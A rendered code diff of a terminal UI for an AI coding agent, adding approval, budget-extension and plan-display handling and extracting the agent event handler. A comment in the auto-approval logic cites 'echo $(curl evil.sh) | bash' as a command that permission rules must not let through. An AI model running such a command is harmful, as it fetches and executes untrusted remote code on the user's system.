|
+
const flushStatusThrottle = useCallback(() => {
|
|
557
|
+
if (statusModeTimerRef.current) {
|
|
558
|
+
clearTimeout(statusModeTimerRef.current);
|
|
559
|
+
statusModeTimerRef.current = null;
|
|
560
|
+
}
|
|
561
|
+
if (pendingStatusRef.current) {
|
|
562
|
+
lastStatusModeUpdateRef.current = Date.now();
|
|
563
|
+
setStatus(pendingStatusRef.current);
|
|
564
|
+
pendingStatusRef.current = null;
|
|
565
|
+
}
|
|
566
|
+
}, []);
|
|
567
|
+
// Cleanup throttle timer
|
|
568
|
+
useEffect(() => {
|
|
569
|
+
return () => {
|
|
570
|
+
if (statusModeTimerRef.current)
|
|
571
|
+
clearTimeout(statusModeTimerRef.current);
|
|
572
|
+
};
|
|
573
|
+
}, []);
|
|
410
574
|
const [toolCalls, setToolCalls] = useState([]);
|
|
411
575
|
const [currentThemeName, setCurrentThemeName] = useState(theme);
|
|
412
|
-
|
|
413
|
-
const [budgetPct, setBudgetPct] = useState(0);
|
|
414
|
-
const [elapsedTime, setElapsedTime] = useState(0);
|
|
415
|
-
const processingStartRef = useRef(null);
|
|
576
|
+
// contextTokens, budgetPct, elapsedTime are now colocated in StatusBar component
|
|
416
577
|
// Command history manager (persistent)
|
|
417
578
|
const historyManagerRef = useRef(null);
|
|
418
579
|
if (!historyManagerRef.current) {
|
|
@@ -433,6 +594,12 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
433
594
|
const [debugExpanded, setDebugExpanded] = useState(false);
|
|
434
595
|
const [swarmExpanded, setSwarmExpanded] = useState(true);
|
|
435
596
|
const [diagExpanded, setDiagExpanded] = useState(false);
|
|
597
|
+
// Refs for values used inside handleAgentEvent — prevents subscription churn
|
|
598
|
+
// when user toggles these display settings
|
|
599
|
+
const showThinkingRef = useRef(showThinking);
|
|
600
|
+
showThinkingRef.current = showThinking;
|
|
601
|
+
const debugExpandedRef = useRef(debugExpanded);
|
|
602
|
+
debugExpandedRef.current = debugExpanded;
|
|
436
603
|
// Swarm status tracking (for Swarm Status Panel)
|
|
437
604
|
const [swarmStatus, setSwarmStatus] = useState(null);
|
|
438
605
|
// Active agents tracking (for Active Agents Panel)
|
|
@@ -449,9 +616,15 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
449
616
|
const [denyReason, setDenyReason] = useState('');
|
|
450
617
|
// Session-scoped always-allowed patterns (e.g., "bash:npm test", "write_file:/path")
|
|
451
618
|
const [alwaysAllowed, setAlwaysAllowed] = useState(new Set());
|
|
619
|
+
// Budget extension dialog state
|
|
620
|
+
const [pendingBudgetExtension, setPendingBudgetExtension] = useState(null);
|
|
621
|
+
// Learning validation dialog state
|
|
622
|
+
const [pendingLearning, setPendingLearning] = useState(null);
|
|
623
|
+
// Interactive plan display state
|
|
624
|
+
const [activePlan, setActivePlan] = useState(null);
|
|
625
|
+
const [planExpanded, setPlanExpanded] = useState(true);
|
|
452
626
|
// Transparency state
|
|
453
627
|
const [transparencyState, setTransparencyState] = useState(null);
|
|
454
|
-
const transparencyAggregatorRef = useRef(null);
|
|
455
628
|
// Consecutive Ctrl+C tracking for force exit
|
|
456
629
|
const [ctrlCCount, setCtrlCCount] = useState(0);
|
|
457
630
|
const ctrlCTimerRef = useRef(null);
|
|
@@ -462,6 +635,18 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
462
635
|
isProcessingRef.current = isProcessing;
|
|
463
636
|
messagesLengthRef.current = messages.length;
|
|
464
637
|
pendingApprovalRef.current = pendingApproval;
|
|
638
|
+
const pendingBudgetExtensionRef = useRef(pendingBudgetExtension);
|
|
639
|
+
pendingBudgetExtensionRef.current = pendingBudgetExtension;
|
|
640
|
+
const pendingLearningRef = useRef(pendingLearning);
|
|
641
|
+
pendingLearningRef.current = pendingLearning;
|
|
642
|
+
// Memoize the approval request object to avoid defeating ApprovalDialog's memo
|
|
643
|
+
const approvalRequest = useMemo(() => pendingApproval ? {
|
|
644
|
+
id: pendingApproval.id,
|
|
645
|
+
tool: pendingApproval.tool || pendingApproval.action,
|
|
646
|
+
args: pendingApproval.args || {},
|
|
647
|
+
risk: pendingApproval.risk,
|
|
648
|
+
context: pendingApproval.context,
|
|
649
|
+
} : null, [pendingApproval]);
|
|
465
650
|
const finishExecutionMode = useCallback(() => {
|
|
466
651
|
if (executionDrainTimerRef.current) {
|
|
467
652
|
clearTimeout(executionDrainTimerRef.current);
|
|
@@ -475,18 +660,20 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
475
660
|
executionDrainTimerRef.current = null;
|
|
476
661
|
}, 400);
|
|
477
662
|
}, []);
|
|
478
|
-
// Derive theme and colors
|
|
663
|
+
// Derive theme and colors (memoized so children relying on reference equality don't break)
|
|
479
664
|
const selectedTheme = getTheme(currentThemeName);
|
|
480
|
-
const colors = selectedTheme.colors;
|
|
665
|
+
const colors = useMemo(() => selectedTheme.colors, [currentThemeName]);
|
|
666
|
+
const { pruneIfNeeded } = useMessagePruning({ maxMessages: 500, preserveRecent: 400 });
|
|
481
667
|
const messageIdCounter = useRef(0);
|
|
482
668
|
const addMessage = useCallback((role, content) => {
|
|
483
669
|
const uniqueId = `${role}-${Date.now()}-${++messageIdCounter.current}`;
|
|
484
|
-
setMessages(prev => [...prev, { id: uniqueId, role, content, ts: new Date() }]);
|
|
485
|
-
}, []);
|
|
670
|
+
setMessages((prev) => pruneIfNeeded([...prev, { id: uniqueId, role, content, ts: new Date() }]));
|
|
671
|
+
}, [pruneIfNeeded]);
|
|
486
672
|
const persistPendingPlanToStore = useCallback(() => {
|
|
487
673
|
if (!agent.hasPendingPlan())
|
|
488
674
|
return;
|
|
489
|
-
if (!('savePendingPlan' in sessionStore) ||
|
|
675
|
+
if (!('savePendingPlan' in sessionStore) ||
|
|
676
|
+
typeof sessionStore.savePendingPlan !== 'function') {
|
|
490
677
|
return;
|
|
491
678
|
}
|
|
492
679
|
const pendingPlan = agent.getPendingPlan();
|
|
@@ -508,9 +695,10 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
508
695
|
const pattern = generateApprovalPattern(request);
|
|
509
696
|
// Only auto-approve low/moderate risk — high/critical always show dialog
|
|
510
697
|
// This prevents e.g. approving "bash:echo" from auto-approving "echo $(curl evil.sh) | bash"
|
|
511
|
-
const isAllowed = (request.risk === 'low' || request.risk === 'moderate') &&
|
|
512
|
-
|
|
513
|
-
|
|
698
|
+
const isAllowed = (request.risk === 'low' || request.risk === 'moderate') &&
|
|
699
|
+
(alwaysAllowed.has(pattern) ||
|
|
700
|
+
// Prefix match: if we allowed write_file:src/api/, also allow write_file:src/api/sub/file.ts
|
|
701
|
+
[...alwaysAllowed].some((p) => pattern.startsWith(p) && p.endsWith('/')));
|
|
514
702
|
if (isAllowed) {
|
|
515
703
|
// Auto-approve without showing dialog
|
|
516
704
|
approvalBridge?.resolve({ approved: true });
|
|
@@ -543,10 +731,11 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
543
731
|
const handleAlwaysAllow = useCallback(() => {
|
|
544
732
|
if (approvalBridge && pendingApprovalRef.current) {
|
|
545
733
|
const pattern = generateApprovalPattern(pendingApprovalRef.current);
|
|
546
|
-
setAlwaysAllowed(prev => new Set(prev).add(pattern));
|
|
734
|
+
setAlwaysAllowed((prev) => new Set(prev).add(pattern));
|
|
547
735
|
// Persist to SQLite for session-scoped persistence
|
|
548
736
|
const tool = pendingApprovalRef.current.tool || pendingApprovalRef.current.action || 'unknown';
|
|
549
|
-
if ('rememberPermission' in sessionStore &&
|
|
737
|
+
if ('rememberPermission' in sessionStore &&
|
|
738
|
+
typeof sessionStore.rememberPermission === 'function') {
|
|
550
739
|
sessionStore.rememberPermission(tool, 'always', pattern);
|
|
551
740
|
}
|
|
552
741
|
approvalBridge.resolve({ approved: true });
|
|
@@ -573,6 +762,97 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
573
762
|
});
|
|
574
763
|
}
|
|
575
764
|
}, [approvalBridge, handleApprovalRequest]);
|
|
765
|
+
// Budget extension handlers
|
|
766
|
+
const handleBudgetExtensionRequest = useCallback((request) => {
|
|
767
|
+
setPendingBudgetExtension(request);
|
|
768
|
+
}, []);
|
|
769
|
+
const handleBudgetExtensionApprove = useCallback(() => {
|
|
770
|
+
if (budgetExtensionBridge && pendingBudgetExtensionRef.current) {
|
|
771
|
+
budgetExtensionBridge.resolve(pendingBudgetExtensionRef.current.suggestedExtension);
|
|
772
|
+
setPendingBudgetExtension(null);
|
|
773
|
+
}
|
|
774
|
+
}, [budgetExtensionBridge]);
|
|
775
|
+
const handleBudgetExtensionDeny = useCallback(() => {
|
|
776
|
+
if (budgetExtensionBridge && pendingBudgetExtensionRef.current) {
|
|
777
|
+
budgetExtensionBridge.resolve(null);
|
|
778
|
+
setPendingBudgetExtension(null);
|
|
779
|
+
}
|
|
780
|
+
}, [budgetExtensionBridge]);
|
|
781
|
+
// Connect budget extension bridge on mount
|
|
782
|
+
useEffect(() => {
|
|
783
|
+
if (budgetExtensionBridge) {
|
|
784
|
+
budgetExtensionBridge.connect({
|
|
785
|
+
onRequest: handleBudgetExtensionRequest,
|
|
786
|
+
});
|
|
787
|
+
}
|
|
788
|
+
}, [budgetExtensionBridge, handleBudgetExtensionRequest]);
|
|
789
|
+
// Learning validation handlers
|
|
790
|
+
const handleLearningRequest = useCallback((learning) => {
|
|
791
|
+
setPendingLearning(learning);
|
|
792
|
+
}, []);
|
|
793
|
+
const handleLearningApprove = useCallback(() => {
|
|
794
|
+
if (learningValidationBridge && pendingLearningRef.current) {
|
|
795
|
+
learningValidationBridge.resolve('approve');
|
|
796
|
+
setPendingLearning(null);
|
|
797
|
+
}
|
|
798
|
+
}, [learningValidationBridge]);
|
|
799
|
+
const handleLearningReject = useCallback(() => {
|
|
800
|
+
if (learningValidationBridge && pendingLearningRef.current) {
|
|
801
|
+
learningValidationBridge.resolve('reject');
|
|
802
|
+
setPendingLearning(null);
|
|
803
|
+
}
|
|
804
|
+
}, [learningValidationBridge]);
|
|
805
|
+
const handleLearningSkip = useCallback(() => {
|
|
806
|
+
if (learningValidationBridge && pendingLearningRef.current) {
|
|
807
|
+
learningValidationBridge.resolve('skip');
|
|
808
|
+
setPendingLearning(null);
|
|
809
|
+
}
|
|
810
|
+
}, [learningValidationBridge]);
|
|
811
|
+
// Connect learning validation bridge on mount
|
|
812
|
+
useEffect(() => {
|
|
813
|
+
if (learningValidationBridge) {
|
|
814
|
+
learningValidationBridge.connect({
|
|
815
|
+
onRequest: handleLearningRequest,
|
|
816
|
+
});
|
|
817
|
+
}
|
|
818
|
+
}, [learningValidationBridge, handleLearningRequest]);
|
|
819
|
+
// Subscribe to interactive planner events for plan display
|
|
820
|
+
useEffect(() => {
|
|
821
|
+
const planner = agent.getInteractivePlanner();
|
|
822
|
+
if (!planner)
|
|
823
|
+
return;
|
|
824
|
+
const unsub = planner.on((event) => {
|
|
825
|
+
if (event.type === 'plan.created') {
|
|
826
|
+
setActivePlan({
|
|
827
|
+
id: event.plan.id,
|
|
828
|
+
goal: event.plan.goal,
|
|
829
|
+
steps: event.plan.steps.map(s => ({
|
|
830
|
+
id: s.id,
|
|
831
|
+
number: s.number,
|
|
832
|
+
description: s.description,
|
|
833
|
+
status: s.status,
|
|
834
|
+
})),
|
|
835
|
+
status: event.plan.status,
|
|
836
|
+
currentStepIndex: event.plan.currentStepIndex,
|
|
837
|
+
});
|
|
838
|
+
setPlanExpanded(true);
|
|
839
|
+
}
|
|
840
|
+
else if (event.type === 'step.completed' || event.type === 'step.failed' || event.type === 'step.skipped') {
|
|
841
|
+
setActivePlan(prev => {
|
|
842
|
+
if (!prev)
|
|
843
|
+
return null;
|
|
844
|
+
return {
|
|
845
|
+
...prev,
|
|
846
|
+
steps: prev.steps.map(s => s.id === event.step.id ? { ...s, status: event.step.status } : s),
|
|
847
|
+
};
|
|
848
|
+
});
|
|
849
|
+
}
|
|
850
|
+
else if (event.type === 'plan.completed' || event.type === 'plan.cancelled') {
|
|
851
|
+
setActivePlan(prev => prev ? { ...prev, status: event.type === 'plan.completed' ? 'completed' : 'cancelled' } : null);
|
|
852
|
+
}
|
|
853
|
+
});
|
|
854
|
+
return unsub;
|
|
855
|
+
}, [agent]);
|
|
576
856
|
// Hydrate always-allowed patterns from SQLite on mount
|
|
577
857
|
useEffect(() => {
|
|
578
858
|
if ('hasRememberedPermissionsFeature' in sessionStore &&
|
|
@@ -582,7 +862,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
582
862
|
typeof sessionStore.listRememberedPermissions === 'function') {
|
|
583
863
|
const remembered = sessionStore.listRememberedPermissions();
|
|
584
864
|
if (remembered.length > 0) {
|
|
585
|
-
setAlwaysAllowed(prev => {
|
|
865
|
+
setAlwaysAllowed((prev) => {
|
|
586
866
|
const next = new Set(prev);
|
|
587
867
|
for (const r of remembered) {
|
|
588
868
|
if (r.decision === 'always' && r.pattern)
|
|
@@ -594,395 +874,23 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
594
874
|
}
|
|
595
875
|
}, [sessionStore]);
|
|
596
876
|
// =========================================================================
|
|
597
|
-
//
|
|
598
|
-
// Consolidated handler for all agent events - prevents duplicate messages
|
|
877
|
+
// AGENT EVENT HANDLING (extracted to hook)
|
|
599
878
|
// =========================================================================
|
|
600
|
-
const
|
|
601
|
-
|
|
602
|
-
|
|
603
|
-
|
|
604
|
-
|
|
605
|
-
|
|
606
|
-
|
|
607
|
-
|
|
608
|
-
|
|
609
|
-
|
|
610
|
-
|
|
611
|
-
|
|
612
|
-
|
|
613
|
-
|
|
614
|
-
|
|
615
|
-
if (event.type === 'plan.approved') {
|
|
616
|
-
const e = event;
|
|
617
|
-
addMessage('system', `[PLAN] Executing ${e.changeCount} change(s)...`);
|
|
618
|
-
return;
|
|
619
|
-
}
|
|
620
|
-
if (event.type === 'plan.executing') {
|
|
621
|
-
const e = event;
|
|
622
|
-
setStatus(s => ({ ...s, mode: `executing ${e.changeIndex + 1}/${e.totalChanges}` }));
|
|
623
|
-
return;
|
|
624
|
-
}
|
|
625
|
-
}
|
|
626
|
-
// -------------------------------------------------------------------------
|
|
627
|
-
// Shared events (both processing and approving modes)
|
|
628
|
-
// -------------------------------------------------------------------------
|
|
629
|
-
// Subagent lifecycle events - also update Active Agents Panel
|
|
630
|
-
if (event.type === 'agent.spawn') {
|
|
631
|
-
const e = event;
|
|
632
|
-
const agentId = e.agentId || `spawn-${Date.now()}`;
|
|
633
|
-
addMessage('system', `[AGENT] Spawning ${e.name}: ${e.task.slice(0, 100)}${e.task.length > 100 ? '...' : ''}`);
|
|
634
|
-
// Add to active agents panel
|
|
635
|
-
setActiveAgents(prev => [...prev, {
|
|
636
|
-
id: agentId,
|
|
637
|
-
type: e.name,
|
|
638
|
-
task: e.task,
|
|
639
|
-
status: 'running',
|
|
640
|
-
tokens: 0,
|
|
641
|
-
startTime: Date.now(),
|
|
642
|
-
}]);
|
|
643
|
-
return;
|
|
644
|
-
}
|
|
645
|
-
if (event.type === 'agent.complete') {
|
|
646
|
-
const e = event;
|
|
647
|
-
const statusText = e.success ? 'completed' : 'failed';
|
|
648
|
-
const displayName = e.agentType || e.agentId;
|
|
649
|
-
addMessage('system', `[AGENT] ${displayName} ${statusText}`);
|
|
650
|
-
// Show output preview if substantive (increased from 300 to 1000 chars)
|
|
651
|
-
if (e.output && e.output.length > 50) {
|
|
652
|
-
const preview = e.output.slice(0, 1000);
|
|
653
|
-
const truncated = e.output.length > 1000;
|
|
654
|
-
addMessage('system', `[AGENT OUTPUT]\n${preview}${truncated ? `\n...(full output: ${e.output.length} chars)` : ''}`);
|
|
655
|
-
}
|
|
656
|
-
// Update active agents panel - use strict ID matching
|
|
657
|
-
setActiveAgents(prev => prev.map(a => a.id === e.agentId
|
|
658
|
-
? { ...a, status: e.success ? 'completed' : 'error' }
|
|
659
|
-
: a));
|
|
660
|
-
return;
|
|
661
|
-
}
|
|
662
|
-
if (event.type === 'agent.error') {
|
|
663
|
-
const e = event;
|
|
664
|
-
const displayName = e.agentType || e.agentId;
|
|
665
|
-
addMessage('system', `[AGENT] ${displayName} error: ${e.error}`);
|
|
666
|
-
// For timeout errors, use 'timing_out' status first to indicate the agent
|
|
667
|
-
// is in the process of stopping. Then transition to 'timeout' after a delay.
|
|
668
|
-
// This provides better UX than immediately showing "failed" while tokens accumulate.
|
|
669
|
-
const isTimeout = e.error.includes('timed out') || e.error.includes('Timed out');
|
|
670
|
-
if (isTimeout) {
|
|
671
|
-
// First, mark as timing_out - use strict ID matching
|
|
672
|
-
setActiveAgents(prev => prev.map(a => a.id === e.agentId
|
|
673
|
-
? { ...a, status: 'timing_out' }
|
|
674
|
-
: a));
|
|
675
|
-
// After 3 seconds, transition to final timeout status
|
|
676
|
-
// (agent should have stopped by then due to cancellation token check)
|
|
677
|
-
setTimeout(() => {
|
|
678
|
-
setActiveAgents(prev => prev.map(a => a.id === e.agentId && a.status === 'timing_out'
|
|
679
|
-
? { ...a, status: 'timeout' }
|
|
680
|
-
: a));
|
|
681
|
-
}, 3000);
|
|
682
|
-
}
|
|
683
|
-
else {
|
|
684
|
-
// Regular error - set immediately with strict ID matching
|
|
685
|
-
setActiveAgents(prev => prev.map(a => a.id === e.agentId
|
|
686
|
-
? { ...a, status: 'error' }
|
|
687
|
-
: a));
|
|
688
|
-
}
|
|
689
|
-
return;
|
|
690
|
-
}
|
|
691
|
-
if (event.type === 'agent.pending_plan') {
|
|
692
|
-
const e = event;
|
|
693
|
-
addMessage('system', `[AGENT] ${e.agentId} queued ${e.changes.length} change(s) to pending plan`);
|
|
694
|
-
return;
|
|
695
|
-
}
|
|
696
|
-
// Tool events
|
|
697
|
-
if (event.type === 'tool.start') {
|
|
698
|
-
const e = event;
|
|
699
|
-
const displayName = e.subagent ? `${e.subagent}:${e.tool}` : e.tool;
|
|
700
|
-
setStatus(s => ({ ...s, mode: `calling ${displayName}` }));
|
|
701
|
-
setToolCalls(prev => [...prev.slice(-4), {
|
|
702
|
-
id: `${displayName}-${Date.now()}`,
|
|
703
|
-
name: displayName,
|
|
704
|
-
args: e.args || {},
|
|
705
|
-
status: 'running',
|
|
706
|
-
startTime: new Date(),
|
|
707
|
-
}]);
|
|
708
|
-
return;
|
|
709
|
-
}
|
|
710
|
-
if (event.type === 'tool.complete') {
|
|
711
|
-
const e = event;
|
|
712
|
-
const displayName = e.subagent ? `${e.subagent}:${e.tool}` : e.tool;
|
|
713
|
-
const modeText = e.subagent ? `${e.subagent} thinking` : (mode === 'approving' ? 'executing plan' : 'thinking');
|
|
714
|
-
setStatus(s => ({ ...s, mode: modeText }));
|
|
715
|
-
setToolCalls(prev => prev.map(t => t.name === displayName ? {
|
|
716
|
-
...t,
|
|
717
|
-
status: 'success',
|
|
718
|
-
result: e.result,
|
|
719
|
-
duration: t.startTime ? Date.now() - t.startTime.getTime() : undefined,
|
|
720
|
-
} : t));
|
|
721
|
-
return;
|
|
722
|
-
}
|
|
723
|
-
if (event.type === 'tool.blocked') {
|
|
724
|
-
const e = event;
|
|
725
|
-
const displayName = e.subagent ? `${e.subagent}:${e.tool}` : e.tool;
|
|
726
|
-
setToolCalls(prev => prev.map(t => t.name === displayName ? {
|
|
727
|
-
...t,
|
|
728
|
-
status: 'error',
|
|
729
|
-
error: e.reason || 'Blocked',
|
|
730
|
-
} : t));
|
|
731
|
-
return;
|
|
732
|
-
}
|
|
733
|
-
// LLM events
|
|
734
|
-
if (event.type === 'llm.start') {
|
|
735
|
-
const e = event;
|
|
736
|
-
const modeText = e.subagent ? `${e.subagent} thinking` : (mode === 'approving' ? 'executing plan' : 'thinking');
|
|
737
|
-
setStatus(s => ({ ...s, mode: modeText, iter: s.iter + 1 }));
|
|
738
|
-
return;
|
|
739
|
-
}
|
|
740
|
-
if (event.type === 'llm.complete' && eventWithSubagent.subagent && showThinking) {
|
|
741
|
-
const e = event;
|
|
742
|
-
const thinking = e.response?.thinking;
|
|
743
|
-
if (thinking) {
|
|
744
|
-
const preview = thinking.length > 500 ? thinking.slice(0, 500) + '...' : thinking;
|
|
745
|
-
addMessage('system', `[${eventWithSubagent.subagent}] ${preview}`);
|
|
746
|
-
}
|
|
747
|
-
return;
|
|
748
|
-
}
|
|
749
|
-
// Error events
|
|
750
|
-
if (event.type === 'error') {
|
|
751
|
-
const e = event;
|
|
752
|
-
const prefix = e.subagent ? `[${e.subagent} ERROR]` : '[ERROR]';
|
|
753
|
-
const errorMsg = typeof e.error === 'string' ? e.error : e.error?.message || 'Unknown error';
|
|
754
|
-
addMessage('error', `${prefix} ${errorMsg}`);
|
|
755
|
-
return;
|
|
756
|
-
}
|
|
757
|
-
if (event.type === 'completion.blocked') {
|
|
758
|
-
const e = event;
|
|
759
|
-
const details = e.reasons?.length ? e.reasons.join('\n') : 'Completion blocked by unresolved work.';
|
|
760
|
-
const openTasksLine = e.openTasks
|
|
761
|
-
? `Open tasks: ${e.openTasks.pending} pending, ${e.openTasks.inProgress} in_progress, ${e.openTasks.blocked} blocked`
|
|
762
|
-
: '';
|
|
763
|
-
const constrainedLine = e.diagnostics?.forceTextOnly
|
|
764
|
-
? 'Task continuation is currently suppressed by budget/wrapup force-text mode.'
|
|
765
|
-
: '';
|
|
766
|
-
addMessage('system', `[INCOMPLETE]\n${details}${openTasksLine ? `\n${openTasksLine}` : ''}${constrainedLine ? `\n${constrainedLine}` : ''}`);
|
|
767
|
-
setStatus(s => ({ ...s, mode: 'incomplete' }));
|
|
768
|
-
return;
|
|
769
|
-
}
|
|
770
|
-
// Insight events - also track tokens for active agents
|
|
771
|
-
if (event.type === 'insight.tokens') {
|
|
772
|
-
const e = event;
|
|
773
|
-
if (showThinking) {
|
|
774
|
-
let cacheStr = '';
|
|
775
|
-
if (e.cacheReadTokens && e.cacheReadTokens > 0) {
|
|
776
|
-
cacheStr += ` [cached: ${e.cacheReadTokens.toLocaleString()}]`;
|
|
777
|
-
}
|
|
778
|
-
if (e.cacheWriteTokens && e.cacheWriteTokens > 0) {
|
|
779
|
-
cacheStr += ` [cache-write: ${e.cacheWriteTokens.toLocaleString()}]`;
|
|
780
|
-
}
|
|
781
|
-
addMessage('system', `${subagentPrefix}* ${e.inputTokens.toLocaleString()} in, ${e.outputTokens.toLocaleString()} out${cacheStr}${e.cost ? ` $${e.cost.toFixed(6)}` : ''}`);
|
|
782
|
-
}
|
|
783
|
-
// Update tokens for active agent if this event is from a subagent
|
|
784
|
-
// IMPORTANT: Don't update tokens for agents that are timing_out/timeout/error
|
|
785
|
-
// These agents should have stopped, and any lingering events are from
|
|
786
|
-
// zombie processes that we don't want to count.
|
|
787
|
-
if (e.subagent || eventWithSubagent.subagent) {
|
|
788
|
-
const subagentId = e.subagentId || eventWithSubagent.subagentId;
|
|
789
|
-
const agentName = e.subagent || eventWithSubagent.subagent;
|
|
790
|
-
setActiveAgents(prev => prev.map(a => {
|
|
791
|
-
// Use strict ID matching when subagentId is available (prevents duplicate counting
|
|
792
|
-
// when multiple agents of the same type run in parallel)
|
|
793
|
-
const matchesAgent = subagentId
|
|
794
|
-
? a.id === subagentId
|
|
795
|
-
: (a.type === agentName || a.id.includes(agentName || ''));
|
|
796
|
-
const isStillRunning = a.status === 'running';
|
|
797
|
-
// Only update tokens if agent is still running
|
|
798
|
-
if (matchesAgent && isStillRunning) {
|
|
799
|
-
return { ...a, tokens: a.tokens + (e.inputTokens || 0) + (e.outputTokens || 0) };
|
|
800
|
-
}
|
|
801
|
-
return a;
|
|
802
|
-
}));
|
|
803
|
-
}
|
|
804
|
-
return;
|
|
805
|
-
}
|
|
806
|
-
// Resilience events
|
|
807
|
-
if (event.type === 'resilience.retry') {
|
|
808
|
-
const e = event;
|
|
809
|
-
addMessage('system', `[RETRY] ${e.reason} (${e.attempt}/${e.maxAttempts})`);
|
|
810
|
-
return;
|
|
811
|
-
}
|
|
812
|
-
if (event.type === 'resilience.recovered') {
|
|
813
|
-
const e = event;
|
|
814
|
-
addMessage('system', `[RECOVERED] ${e.reason} after ${e.attempts} attempt(s)`);
|
|
815
|
-
return;
|
|
816
|
-
}
|
|
817
|
-
// Subagent visibility events - also update Active Agents Panel
|
|
818
|
-
if (event.type === 'subagent.iteration') {
|
|
819
|
-
const e = event;
|
|
820
|
-
setStatus(s => ({ ...s, mode: `${e.agentId} iter ${e.iteration}/${e.maxIterations}` }));
|
|
821
|
-
// Update active agents panel with iteration info
|
|
822
|
-
// Use subagentId for strict matching when available (parallel same-type agents)
|
|
823
|
-
setActiveAgents(prev => prev.map(a => {
|
|
824
|
-
const matches = e.subagentId
|
|
825
|
-
? a.id === e.subagentId
|
|
826
|
-
: (a.type === e.agentId || a.id.includes(e.agentId));
|
|
827
|
-
return matches ? { ...a, iteration: e.iteration, maxIterations: e.maxIterations } : a;
|
|
828
|
-
}));
|
|
829
|
-
return;
|
|
830
|
-
}
|
|
831
|
-
if (event.type === 'subagent.phase') {
|
|
832
|
-
const e = event;
|
|
833
|
-
setStatus(s => ({ ...s, mode: `${e.agentId} ${e.phase}` }));
|
|
834
|
-
// Update active agents panel with phase info
|
|
835
|
-
// Use subagentId for strict matching when available (parallel same-type agents)
|
|
836
|
-
setActiveAgents(prev => prev.map(a => {
|
|
837
|
-
const matches = e.subagentId
|
|
838
|
-
? a.id === e.subagentId
|
|
839
|
-
: (a.type === e.agentId || a.id.includes(e.agentId));
|
|
840
|
-
return matches ? { ...a, currentPhase: e.phase } : a;
|
|
841
|
-
}));
|
|
842
|
-
return;
|
|
843
|
-
}
|
|
844
|
-
// Task events - update Tasks Panel
|
|
845
|
-
if (event.type === 'task.created') {
|
|
846
|
-
const e = event;
|
|
847
|
-
setTasks(prev => [...prev, e.task]);
|
|
848
|
-
addMessage('system', `[TASK] Created: ${e.task.subject}`);
|
|
849
|
-
return;
|
|
850
|
-
}
|
|
851
|
-
if (event.type === 'task.updated') {
|
|
852
|
-
const e = event;
|
|
853
|
-
setTasks(prev => prev.map(t => t.id === e.task.id ? e.task : t));
|
|
854
|
-
// Only log status changes
|
|
855
|
-
addMessage('system', `[TASK] ${e.task.subject}: ${e.task.status}`);
|
|
856
|
-
return;
|
|
857
|
-
}
|
|
858
|
-
// Swarm events - update Swarm Status Panel
|
|
859
|
-
if (event.type === 'swarm.status') {
|
|
860
|
-
const e = event;
|
|
861
|
-
setSwarmStatus(e.status);
|
|
862
|
-
return;
|
|
863
|
-
}
|
|
864
|
-
if (event.type === 'swarm.start') {
|
|
865
|
-
const e = event;
|
|
866
|
-
addMessage('system', `[SWARM] Starting: ${e.taskCount} tasks in ${e.waveCount} waves`);
|
|
867
|
-
return;
|
|
868
|
-
}
|
|
869
|
-
if (event.type === 'swarm.wave.start') {
|
|
870
|
-
const e = event;
|
|
871
|
-
addMessage('system', `[SWARM] Wave ${e.wave}/${e.totalWaves}: dispatching ${e.taskCount} tasks`);
|
|
872
|
-
return;
|
|
873
|
-
}
|
|
874
|
-
if (event.type === 'swarm.wave.complete') {
|
|
875
|
-
const e = event;
|
|
876
|
-
addMessage('system', `[SWARM] Wave ${e.wave}/${e.totalWaves} complete: ${e.completed} done${e.failed > 0 ? `, ${e.failed} failed` : ''}${e.skipped > 0 ? `, ${e.skipped} skipped` : ''}`);
|
|
877
|
-
return;
|
|
878
|
-
}
|
|
879
|
-
if (event.type === 'swarm.task.dispatched') {
|
|
880
|
-
const e = event;
|
|
881
|
-
addMessage('system', `[SWARM] ${e.taskId} -> ${e.workerName} (${e.model.split('/').pop()}): ${e.description.slice(0, 80)}`);
|
|
882
|
-
return;
|
|
883
|
-
}
|
|
884
|
-
if (event.type === 'swarm.task.completed') {
|
|
885
|
-
const e = event;
|
|
886
|
-
addMessage('system', `[SWARM] ${e.taskId} ${e.success ? 'completed' : 'failed'} (${(e.tokensUsed / 1000).toFixed(1)}k tokens, $${e.costUsed.toFixed(4)}, ${(e.durationMs / 1000).toFixed(1)}s)`);
|
|
887
|
-
return;
|
|
888
|
-
}
|
|
889
|
-
if (event.type === 'swarm.task.failed') {
|
|
890
|
-
const e = event;
|
|
891
|
-
addMessage('system', `[SWARM] ${e.taskId} failed: ${e.error}${e.willRetry ? ' (will retry)' : ''}`);
|
|
892
|
-
return;
|
|
893
|
-
}
|
|
894
|
-
if (event.type === 'swarm.task.skipped') {
|
|
895
|
-
const e = event;
|
|
896
|
-
addMessage('system', `[SWARM] ${e.taskId} skipped: ${e.reason}`);
|
|
897
|
-
return;
|
|
898
|
-
}
|
|
899
|
-
if (event.type === 'swarm.quality.rejected') {
|
|
900
|
-
const e = event;
|
|
901
|
-
addMessage('system', `[SWARM] ${e.taskId} quality rejected (${e.score}/5): ${e.feedback.slice(0, 100)}`);
|
|
902
|
-
return;
|
|
903
|
-
}
|
|
904
|
-
if (event.type === 'swarm.complete') {
|
|
905
|
-
const e = event;
|
|
906
|
-
addMessage('system', `[SWARM] Complete: ${e.stats.completedTasks}/${e.stats.totalTasks} tasks, ${(e.stats.totalTokens / 1000).toFixed(0)}k tokens, $${e.stats.totalCost.toFixed(4)}`);
|
|
907
|
-
// Clear swarm status after completion (leave panel visible briefly)
|
|
908
|
-
setTimeout(() => setSwarmStatus(null), 5000);
|
|
909
|
-
return;
|
|
910
|
-
}
|
|
911
|
-
if (event.type === 'swarm.error') {
|
|
912
|
-
const e = event;
|
|
913
|
-
addMessage('error', `[SWARM ERROR] ${e.phase}: ${e.error}`);
|
|
914
|
-
return;
|
|
915
|
-
}
|
|
916
|
-
// -------------------------------------------------------------------------
|
|
917
|
-
